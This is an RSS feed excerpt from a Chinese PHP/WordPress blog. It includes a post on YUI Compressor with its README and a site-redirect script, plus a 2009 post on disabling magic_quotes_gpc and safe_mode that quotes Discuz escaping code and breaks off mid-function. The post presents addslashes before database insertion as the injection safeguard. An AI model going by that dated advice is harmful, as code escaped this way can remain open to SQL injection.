             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年12月13日  //  <a href="http://ihacklog.com/php/wordpress/upgrade/upgrade-wordpress-and-plugins.html" title="今天忙了一下午，都是WP升级害的">今天忙了一下午，都是WP升级害的</a> (13)</li><li>2008年11月29日  //  <a href="http://ihacklog.com/php/%e6%88%90%e5%b0%b1php%e9%ab%98%e6%89%8b%e7%9a%84%e4%ba%94%e4%b8%aa%e5%bf%85%e7%94%b1%e4%b9%8b%e8%b7%af.html" title="成就PHP高手的五个必由之路">成就PHP高手的五个必由之路</a> (2)</li><li>2009年11月19日  //  <a href="http://ihacklog.com/php/skills/go-die-utf-8-unicode-bom.html" title="一个让我很郁闷的事情：由该死的Unicode BOM引起的">一个让我很郁闷的事情：由该死的Unicode BOM引起的</a> (6)</li><li>2009年11月1日  //  <a href="http://ihacklog.com/linux/ubuntu-desktop/upgrade-to-ubuntu-9-10.html" title="upgrade to ubuntu 9.10 ">upgrade to ubuntu 9.10 </a> (3)</li><li>2010年11月7日  //  <a href="http://ihacklog.com/php/wordpress/problems/boring-3-0-1-upgrade-notify.html" title="关于3.0.1的更新提示">关于3.0.1的更新提示</a> (9)</li><li>2012年01月3日  //  <a href="http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html" title="最近文章title属性去除HTML标签">最近文章title属性去除HTML标签</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/oyaya-cookie-injection.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>用yuicompressor来压缩你的js、css代码</title>
		<link>http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html</link>
		<comments>http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html#comments</comments>
		<pubDate>Fri, 04 Jun 2010 06:14:57 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>
		<category><![CDATA[yuicompressor]]></category>
		<category><![CDATA[压缩]]></category>

		<guid isPermaLink="false">http://www.ihacklog.com/?p=3875</guid>
		<description><![CDATA[据说用yuicompressor压缩出来的东东经gz压缩后体积比其它工具更小。 下载：http://yuilibrary.com/downloads/#yuicompressor 目前的最新版本是2.4.2 使用举例： (确保你已经安装了jre ,并且将jar文件放在与js同一个目录，不然你打命令时就要连路径一起打了。 ) 1java -jar yuicompressor-2.4.2.jar ihacklog.com.js -o ihacklog.min.js --charset utf-8 -v --t...]]></description>
			<content:encoded><![CDATA[<p>据说用<a target="_blank" href="http://www.ihacklog.com/l.php?url=developer.yahoo.com/yui/compressor">yuicompressor</a>压缩出来的东东经gz压缩后体积比其它工具更小。<br />
下载：<a target="_blank" href="http://www.ihacklog.com/l.php?url=yuilibrary.com/downloads/#yuicompressor">http://yuilibrary.com/downloads/#yuicompressor</a><br />
目前的最新版本是2.4.2<br />
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html">该页面</a>下载该文件。</p>
<p>使用举例：<br />
(确保你已经安装了jre ,并且将jar文件放在与js同一个目录，不然你打命令时就要连路径一起打了。 <img src='http://ihacklog.com/wordpress/wp-includes/images/smilies/icon_mrgreen.gif' alt=':mrgreen:' class='wp-smiley' />  )</p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">java <span style="color: #660033;">-jar</span> yuicompressor-2.4.2.jar ihacklog.com.js <span style="color: #660033;">-o</span> ihacklog.min.js <span style="color: #660033;">--charset</span> utf-<span style="color: #000000;">8</span> <span style="color: #660033;">-v</span> <span style="color: #660033;">--type</span> js</div></td></tr></tbody></table></div>
<p>文档：<br />
<a target="_blank" href="http://www.ihacklog.com/l.php?url=www.julienlecomte.net/yuicompressor/README">http://www.julienlecomte.net/yuicompressor/README</a></p>
<div class="codecolorer-container bash default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br />81<br />82<br />83<br />84<br />85<br />86<br />87<br />88<br />89<br />90<br />91<br />92<br />93<br />94<br />95<br />96<br />97<br />98<br />99<br />100<br />101<br />102<br />103<br />104<br />105<br />106<br />107<br />108<br />109<br />110<br />111<br />112<br />113<br />114<br />115<br />116<br />117<br />118<br />119<br />120<br />121<br />122<br />123<br />124<br />125<br />126<br />127<br />128<br />129<br />130<br />131<br />132<br />133<br />134<br />135<br />136<br />137<br />138<br />139<br />140<br /></div></td><td><div class="bash codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">==============================================================================<br />
YUI Compressor<br />
==============================================================================<br />
<br />
NAME<br />
<br />
&nbsp; YUI Compressor - The Yahoo<span style="color: #000000; font-weight: bold;">!</span> JavaScript and CSS Compressor<br />
<br />
SYNOPSIS<br />
<br />
&nbsp; Usage: java <span style="color: #660033;">-jar</span> yuicompressor-x.y.z.jar <span style="color: #7a0874; font-weight: bold;">&#91;</span>options<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>input <span style="color: #c20cb9; font-weight: bold;">file</span><span style="color: #7a0874; font-weight: bold;">&#93;</span><br />
<br />
&nbsp; Global Options<br />
&nbsp; &nbsp; -h, <span style="color: #660033;">--help</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Displays this information<br />
&nbsp; &nbsp; <span style="color: #660033;">--type</span> <span style="color: #000000; font-weight: bold;">&lt;</span>js<span style="color: #000000; font-weight: bold;">|</span>css<span style="color: #000000; font-weight: bold;">&gt;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Specifies the <span style="color: #7a0874; font-weight: bold;">type</span> of the input <span style="color: #c20cb9; font-weight: bold;">file</span><br />
&nbsp; &nbsp; <span style="color: #660033;">--charset</span> <span style="color: #000000; font-weight: bold;">&lt;</span>charset<span style="color: #000000; font-weight: bold;">&gt;</span> &nbsp; &nbsp; &nbsp; Read the input <span style="color: #c20cb9; font-weight: bold;">file</span> using <span style="color: #000000; font-weight: bold;">&lt;</span>charset<span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; &nbsp; <span style="color: #660033;">--line-break</span> <span style="color: #000000; font-weight: bold;">&lt;</span>column<span style="color: #000000; font-weight: bold;">&gt;</span> &nbsp; &nbsp; Insert a line <span style="color: #7a0874; font-weight: bold;">break</span> after the specified column number<br />
&nbsp; &nbsp; -v, <span style="color: #660033;">--verbose</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Display informational messages and warnings<br />
&nbsp; &nbsp; <span style="color: #660033;">-o</span> <span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #c20cb9; font-weight: bold;">file</span><span style="color: #000000; font-weight: bold;">&gt;</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Place the output into <span style="color: #000000; font-weight: bold;">&lt;</span><span style="color: #c20cb9; font-weight: bold;">file</span><span style="color: #000000; font-weight: bold;">&gt;</span>. Defaults to stdout.<br />
<br />
&nbsp; JavaScript Options<br />
&nbsp; &nbsp; <span style="color: #660033;">--nomunge</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Minify only, <span style="color: #000000; font-weight: bold;">do</span> not obfuscate<br />
&nbsp; &nbsp; <span style="color: #660033;">--preserve-semi</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Preserve all semicolons<br />
&nbsp; &nbsp; <span style="color: #660033;">--disable-optimizations</span> &nbsp; Disable all micro optimizations<br />
<br />
DESCRIPTION<br />
<br />
&nbsp; The YUI Compressor is a JavaScript compressor <span style="color: #c20cb9; font-weight: bold;">which</span>, <span style="color: #000000; font-weight: bold;">in</span> addition to removing<br />
&nbsp; comments and white-spaces, obfuscates <span style="color: #7a0874; font-weight: bold;">local</span> variables using the smallest<br />
&nbsp; possible variable name. This obfuscation is safe, even when using constructs<br />
&nbsp; such <span style="color: #c20cb9; font-weight: bold;">as</span> <span style="color: #ff0000;">'eval'</span> or <span style="color: #ff0000;">'with'</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>although the compression is not optimal is those<br />
&nbsp; cases<span style="color: #7a0874; font-weight: bold;">&#41;</span> Compared to jsmin, the average savings is around <span style="color: #000000;">20</span><span style="color: #000000; font-weight: bold;">%</span>.<br />
<br />
&nbsp; The YUI Compressor is also able to safely compress CSS files. The decision<br />
&nbsp; on <span style="color: #c20cb9; font-weight: bold;">which</span> compressor is being used is made on the <span style="color: #c20cb9; font-weight: bold;">file</span> extension <span style="color: #7a0874; font-weight: bold;">&#40;</span>js or css<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<br />
GLOBAL OPTIONS<br />
<br />
&nbsp; -h, <span style="color: #660033;">--help</span><br />
&nbsp; &nbsp; &nbsp; Prints <span style="color: #7a0874; font-weight: bold;">help</span> on how to use the YUI Compressor<br />
<br />
&nbsp; <span style="color: #660033;">--line-break</span><br />
&nbsp; &nbsp; &nbsp; Some <span style="color: #7a0874; font-weight: bold;">source</span> control tools don<span style="color: #ff0000;">'t like files containing lines longer than,<br />
&nbsp; &nbsp; &nbsp; say 8000 characters. The linebreak option is used in that case to split<br />
&nbsp; &nbsp; &nbsp; long lines after a specific column. It can also be used to make the code<br />
&nbsp; &nbsp; &nbsp; more readable, easier to debug (especially with the MS Script Debugger)<br />
&nbsp; &nbsp; &nbsp; Specify 0 to get a line break after each semi-colon in JavaScript, and<br />
&nbsp; &nbsp; &nbsp; after each rule in CSS.<br />
<br />
&nbsp; --type js|css<br />
&nbsp; &nbsp; &nbsp; The type of compressor (JavaScript or CSS) is chosen based on the<br />
&nbsp; &nbsp; &nbsp; extension of the input file name (.js or .css) This option is required<br />
&nbsp; &nbsp; &nbsp; if no input file has been specified. Otherwise, this option is only<br />
&nbsp; &nbsp; &nbsp; required if the input file extension is neither '</span>js<span style="color: #ff0000;">' nor '</span>css<span style="color: #ff0000;">'.<br />
<br />
&nbsp; --charset character-set<br />
&nbsp; &nbsp; &nbsp; If a supported character set is specified, the YUI Compressor will use it<br />
&nbsp; &nbsp; &nbsp; to read the input file. Otherwise, it will assume that the platform'</span>s<br />
&nbsp; &nbsp; &nbsp; default character <span style="color: #000000; font-weight: bold;">set</span> is being used. The output <span style="color: #c20cb9; font-weight: bold;">file</span> is encoded using<br />
&nbsp; &nbsp; &nbsp; the same character set.<br />
<br />
&nbsp; <span style="color: #660033;">-o</span> outfile<br />
&nbsp; &nbsp; &nbsp; Place output <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #c20cb9; font-weight: bold;">file</span> outfile. If not specified, the YUI Compressor will<br />
&nbsp; &nbsp; &nbsp; default to the standard output, <span style="color: #c20cb9; font-weight: bold;">which</span> you can redirect to a file.<br />
<br />
&nbsp; -v, <span style="color: #660033;">--verbose</span><br />
&nbsp; &nbsp; &nbsp; Display informational messages and warnings.<br />
<br />
JAVASCRIPT ONLY OPTIONS<br />
<br />
&nbsp; <span style="color: #660033;">--nomunge</span><br />
&nbsp; &nbsp; &nbsp; Minify only. Do not obfuscate <span style="color: #7a0874; font-weight: bold;">local</span> symbols.<br />
<br />
&nbsp; <span style="color: #660033;">--preserve-semi</span><br />
&nbsp; &nbsp; &nbsp; Preserve unnecessary semicolons <span style="color: #7a0874; font-weight: bold;">&#40;</span>such <span style="color: #c20cb9; font-weight: bold;">as</span> right before a <span style="color: #ff0000;">'}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> This option<br />
&nbsp; &nbsp; &nbsp; is useful when compressed code has to be run through JSLint <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">which</span> is the<br />
&nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">case</span> of YUI <span style="color: #000000; font-weight: bold;">for</span> example<span style="color: #7a0874; font-weight: bold;">&#41;</span><br />
<br />
&nbsp; <span style="color: #660033;">--disable-optimizations</span><br />
&nbsp; &nbsp; &nbsp; Disable all the built-in micro optimizations.<br />
<br />
NOTES<br />
<br />
&nbsp; + If no input <span style="color: #c20cb9; font-weight: bold;">file</span> is specified, it defaults to stdin.<br />
<br />
&nbsp; + The YUI Compressor requires Java version <span style="color: #000000; font-weight: bold;">&gt;</span>= <span style="color: #000000;">1.4</span>.<br />
<br />
&nbsp; + It is possible to prevent a <span style="color: #7a0874; font-weight: bold;">local</span> variable, nested <span style="color: #000000; font-weight: bold;">function</span> or <span style="color: #000000; font-weight: bold;">function</span><br />
&nbsp; &nbsp; argument from being obfuscated by using <span style="color: #ff0000;">&quot;hints&quot;</span>. A hint is a string that<br />
&nbsp; &nbsp; is located at the very beginning of a <span style="color: #000000; font-weight: bold;">function</span> body like so:<br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> fn <span style="color: #7a0874; font-weight: bold;">&#40;</span>arg1, arg2, arg3<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #ff0000;">&quot;arg2:nomunge, localVar:nomunge, nestedFn:nomunge&quot;</span>;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ...<br />
&nbsp; &nbsp; &nbsp; &nbsp; var localVar;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ...<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> nestedFn <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ....<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; ...<br />
&nbsp; &nbsp; <span style="color: #7a0874; font-weight: bold;">&#125;</span><br />
<br />
&nbsp; &nbsp; The hint itself disappears from the compressed file.<br />
<br />
&nbsp; + C-style comments starting with <span style="color: #000000; font-weight: bold;">/*!</span> are preserved. This is useful with<br />
&nbsp; &nbsp; comments containing copyright<span style="color: #000000; font-weight: bold;">/</span>license information. For example:<br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">/*!</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> TERMS OF USE - EASING EQUATIONS<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> Open <span style="color: #7a0874; font-weight: bold;">source</span> under the BSD License.<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> Copyright <span style="color: #000000;">2001</span> Robert Penner All rights reserved.<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*/</span><br />
<br />
&nbsp; &nbsp; becomes:<br />
<br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">/*</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> TERMS OF USE - EASING EQUATIONS<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> Open <span style="color: #7a0874; font-weight: bold;">source</span> under the BSD License.<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*</span> Copyright <span style="color: #000000;">2001</span> Robert Penner All rights reserved.<br />
&nbsp; &nbsp; &nbsp;<span style="color: #000000; font-weight: bold;">*/</span><br />
<br />
AUTHOR<br />
<br />
&nbsp; The YUI Compressor was written and is maintained by:<br />
&nbsp; &nbsp; &nbsp; Julien Lecomte <span style="color: #000000; font-weight: bold;">&lt;</span>jlecomte<span style="color: #000000; font-weight: bold;">@</span>yahoo-inc.com<span style="color: #000000; font-weight: bold;">&gt;</span><br />
&nbsp; The CSS portion is a port of Isaac Schlueter<span style="color: #ff0000;">'s cssmin utility.<br />
<br />
COPYRIGHT<br />
<br />
&nbsp; Copyright (c) 2007-2009, Yahoo! Inc. All rights reserved.<br />
<br />
LICENSE<br />
<br />
&nbsp; All code specific to YUI Compressor is issued under a BSD license.<br />
&nbsp; YUI Compressor extends and implements code from Mozilla'</span>s Rhino project.<br />
&nbsp; Rhino is issued under the Mozilla Public License <span style="color: #7a0874; font-weight: bold;">&#40;</span>MPL<span style="color: #7a0874; font-weight: bold;">&#41;</span>, and MPL applies<br />
&nbsp; to the Rhino <span style="color: #7a0874; font-weight: bold;">source</span> and binaries that are distributed with YUI Compressor.</div></td></tr></tbody></table></div>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=3875";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=3875" title="Permanent Link to 用yuicompressor来压缩你的js、css代码" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=3875</a>
            </p>
             </div><h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>2010年04月17日  //  <a href="http://ihacklog.com/php/wordpress/wpskills/use-gzip-to-compressed-your-web-content.html" title="用gzip压缩js和css,加速页面装载">用gzip压缩js和css,加速页面装载</a> (5)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/security_optimization/use-yuicompressor-to-compress-your-js-css-code.html/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>关于php中的magic_quotes_gpc和safe_mode</title>
		<link>http://ihacklog.com/security_optimization/magic_quotes_gpc-and-safe_mode-in-php.html</link>
		<comments>http://ihacklog.com/security_optimization/magic_quotes_gpc-and-safe_mode-in-php.html#comments</comments>
		<pubDate>Tue, 10 Nov 2009 01:28:13 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[安全优化]]></category>

		<guid isPermaLink="false">http://www.hacklog.cn/?p=3105</guid>
		<description><![CDATA[今天重新配置了下php ,查看apache log却发现如下警告信息： PHP Warning: Directive &#8216;safe_mode&#8217; is deprecated in PHP 5.3 and greater in Unknown on line 0 PHP Warning: Directive &#8216;magic_quotes_gpc&#8217; is deprecated in PHP 5.3 and greater in Unknown on line 0 去官...]]></description>
			<content:encoded><![CDATA[<p>今天重新配置了下php ,查看apache log却发现如下警告信息：</p>
<blockquote><p>PHP Warning:  Directive &#8216;safe_mode&#8217; is deprecated in PHP 5.3 and greater in Unknown on line 0<br />
PHP Warning:  Directive &#8216;magic_quotes_gpc&#8217; is deprecated in PHP 5.3 and greater in Unknown on line 0</p></blockquote>
<p>去<a href="http://www.ihacklog.com/l.php?url=php.net/manual/en/info.configuration.php" target="_blank">官方</a>看了下，用红色的block特别注明了，php5.3已经不推荐使用这个东东了，在 PHP6 中已经将其废弃：</p>
<blockquote><p>magic_quotes_gpc boolean<br />
Warning<br />
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged.
</p></blockquote>
<p>magic_quotes_gpc=on 的配置下，插入数据时，Magic quotes 会自动将数据转义。 可以从一定程度上，让初学者带离脚本的安全风险。例如在没有任何保护措施的代码下，开启了 Magic quotes 后会少很多的风险，例如注入问题。以前看一些安全方面的文章，入侵者总是喜欢选择magic_quotes_gpc=off的站下手，如果看到其magic_quotes_gpc=on ，估计就不会弄这个站了。<br />
那么官方为什么要废除这个东东呢？搜索了一下，看到一个写得相当详细和全面的帖子，下面将其中提到的几个原因帖出：<br />
<strong>为什么不使用 Magic quotes</strong></p>
<blockquote><p><strong>可移植性</strong><br />
无论此功能是否开启，它都会影响脚本的可移植性，因为它影响我们后续过滤数据的操作。</p>
<p><strong>性能问题</strong><br />
在获取所有的外部数据之前都会被转义，这无疑会增加运行时的花销（而且并不是所有的数据都需要转义）。</p>
<p><strong>造成困惑</strong><br />
正如上述所言，并非所有的数据都需要被转义。有可能出现的一种情况，就是当你为了获取未被转义的数据，而“疯狂的”使用 stripslashes 函数。</p>
</blockquote>
<p><strong>如何禁用 magic_quotes_gpc 和safe_mode </strong><br />
1，用 php.ini 配置文件全局禁用</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000099;">magic_quotes_gpc</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</span><br />
<span style="color: #000099;">safe_mode</span> <span style="color: #000066; font-weight:bold;">=</span><span style="color: #660066;"> Off</span></div></td></tr></tbody></table></div>
<p>2,使用 .htaccess 文件禁用(对于虚拟主机)</p>
<div class="codecolorer-container ini default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br /></div></td><td><div class="ini codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">php_flag magic_quotes_gpc Off<br />
php_flag safe_mode Off</div></td></tr></tbody></table></div>
<p>禁用了这两个东东后，安全问题就更加不能忽视了。在数据入库前一定要addslashes ，出库后要记得stripslashes 。</p>
<p>看了下phpwind和 discuz的源码 ，发现phpwind就是直接用的addslashes和stripslashes 。而dz则是自己定义了两个函数：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> daddslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #339933;">,</span> <span style="color: #000088;">$force</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #339933;">!</span><a href="http://www.php.net/defined"><span style="color: #990000;">defined</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'MAGIC_QUOTES_GPC'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> <a href="http://www.php.net/define"><span style="color: #990000;">define</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'MAGIC_QUOTES_GPC'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/get_magic_quotes_gpc"><span style="color: #990000;">get_magic_quotes_gpc</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>MAGIC_QUOTES_GPC <span style="color: #339933;">||</span> <span style="color: #000088;">$force</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">=&gt;</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> daddslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$val</span><span style="color: #339933;">,</span> <span style="color: #000088;">$force</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$string</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/addslashes"><span style="color: #990000;">addslashes</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$string</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">function</span> dstripslashes<span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/is_array"><span style="color: #990000;">is_array</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$string</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
